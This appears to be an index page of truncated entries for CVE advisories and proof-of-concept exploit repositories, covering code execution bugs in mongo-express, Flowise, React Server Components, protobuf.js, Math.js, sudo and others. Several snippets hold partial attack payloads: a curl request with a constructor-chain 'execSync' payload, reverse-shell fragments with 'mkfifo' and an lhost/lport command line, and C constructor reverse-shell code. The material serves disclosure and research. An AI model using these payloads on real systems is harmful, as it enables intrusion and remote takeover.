Elo JavaScript emitter has sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access

Summary An unauthenticated attacker who controls a string passed to any Elo JavaScript-emission path — defaultFormats.elo.parse, the bin/elo CLI, or the live browser playground at elo-lang.org/try — can execute arbitrary code in the host JavaScript runtime. A payload built from the...

CVE-2018-4121

CVE-2018-4121 - Safari Wasm Sections POC RCE Exploit by MWR Labs c 2018 Details this proof of concept exploit targets Safari 11.0.3 13604.5.6 on macOS 10.13.3 17D47 versions only. compile the payload of your choice as a dylib with a constructor run python filetojsarray.py your.dylib payload.js...

CVE-2019-10758

CVE-2019-10758 PoC Setup docker run -p 27017:27017 -d mongo npm install [email protected] cd nodemodules/mongo-express/ && node app.js cURL exploit curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor"return...

CVE-2025-55182

CVE-2025-55182 This repository contains a PoC reproduction of CVE-2025-55182 , a critical security vulnerability in React Server Components RSC that allows unauthenticated arbitrary code execution. Description The vulnerability exists in how React Server Components deserialize "Server Actions" fr...

CVE-2026-41242

CVE-2026-41242 — protobuf.js Code Injection to RCE CVSS 9.4 Critical | Code Injection CWE-94 Overview protobuf.js npm: protobufjs versions ≤ 7.5.4 and ≤ 8.0.0 are vulnerable to arbitrary code execution via type names in the protobuf schema. The @protobufjs/codegen module concatenates type names...

CVE-2025-59528

CVE-2025-59528 – Flowise CustomMCP Node RCE PoC Overview This repo containts proof of concept demonstrating CVE-2025-59528 in Flowise v3.0.5 The vulnerability exists in the customMCP node, where user-supplied mcpServerConfig input is processed in a way that leads to JavaScript code execution via...

CVE-2019-10758

CVE-2019-10758 mongo-express remote code execution, reverse shell code as follows: POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2: document=this.constructor.constructor"return...

CVE-2025-59528-POC

CVE-2025-59528 - FlowiseAI CustomMCP Remote Code Execution CVSS 10.0 Critical | Blind RCE | FlowiseAI Flowise = 2.2.7-patch.1 and = 2.2.7-pa...

sudoinjection

CVE-2025-32463: Local Privilege Escalation via sudo -R NSS Injection Summary This PoC demonstrates local privilege escalation on Linux systems via abuse of the sudo -R option in conjunction with a custom NSS module. It targets the vulnerability CVE-2025-32463, which stems from unsafe handling of...

CVE-2018-6574

CVE-2018-6574 Steps to reproduce: 1. Create a .c file containing the malicious command revshell: include include static void malicious attributeconstructor; void malicious system""; 2. Compile it using GCC. You must compile it on the exact architecture and OS as the target e.g. Linux x8664: gcc...

CVE-2021-42342

CVE-2021-42342 CVE-2021-42342 RCE POC1:just prints include include include include static void beforemainvoid attributeconstructor; static void beforemainvoid write1, "Hello World!\n", 14; POC2: reverse shell include include include include char serverip=""; uint32t serverport=7777; static void...

CVE-2025-55182

CVE-2025-55182 This repository contains a PoC reproduction of CVE-2025-55182 , a critical security vulnerability in React Server Components RSC that allows unauthenticated arbitrary code execution. Description The vulnerability exists in how React Server Components deserialize "Server Actions" fr...

CVE-2026-40897

CVE-2026-40897 Remote Code Execution in Math.js Expression Parser ★ CVE-2026-40897 Remote Code Execution in Math.js PoC ★ https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898 Overview CVE-2026-40897 is a Sandbox Bypass leading to Remote Code Execution vulnerability in...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Exploit chain for two vulnerabilities affecting Flowise -c "id" Reverse shell with existing key: python3 flowisechain.py -t http://target --api-key --lhost 10.0.0.1 --lport 4444 Options Flag| Description ---|--- -t, --target| Target URL -e, --email| Target account...

React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web

React2Shell CVE-2025-55182: The Deserialization Bug That Broke the Web ⚡ React2Shell, CVE-2025-55182, RCE Vulnerability: A critical breakdown of the unsafe deserialization flaw in React Server Components that enables unauthenticated remote code execution across default React/Next.js setups. ⏩ TL;...

CVE-2025-59528.yaml

CVE-2025-59528.yaml Flowise is a drag & drop user interface to build a customized large language model flow. In version 3.0.5, Flowise is vulnerable to remote code execution. The CustomMCP node allows users to input configuration settings for connecting to an external MCP server. This node parses...

CVE-2025-59528

CVE-2025-59528: Flowise CustomMCP Remote Code Execution PoC A Go proof of concept for CVE-2025-59528 targeting Flowise versions Example go run main.go http://target.com h3D9jD7Xzi0V2KSrld9ff4P3rm6cuNXg1uA-wFsUYc "touch /tmp/pwned"...

CLEANSTART-2026-UQ13600 SnakeYaml's Constructor() class does not restrict types which can be instantiated during deserialization

Security vulnerability affects the cassandra-reaper-fips package. SnakeYaml's Constructor class does not restrict types which can be instantiated during deserialization...

Seroval: Code injection through a typed array's own constructor property

Summary seroval writes a typed array as a call to its constructor. In affected versions, the constructor name in the output is read from a property that data on the value can replace, and it is written without checks. A typed array that received properties from untrusted data can then put arbitra...

GHSA-F86P-H4J2-7QGJ Seroval: Code injection through a typed array's own constructor property

Summary seroval writes a typed array as a call to its constructor. In affected versions, the constructor name in the output is read from a property that data on the value can replace, and it is written without checks. A typed array that received properties from untrusted data can then put arbitra...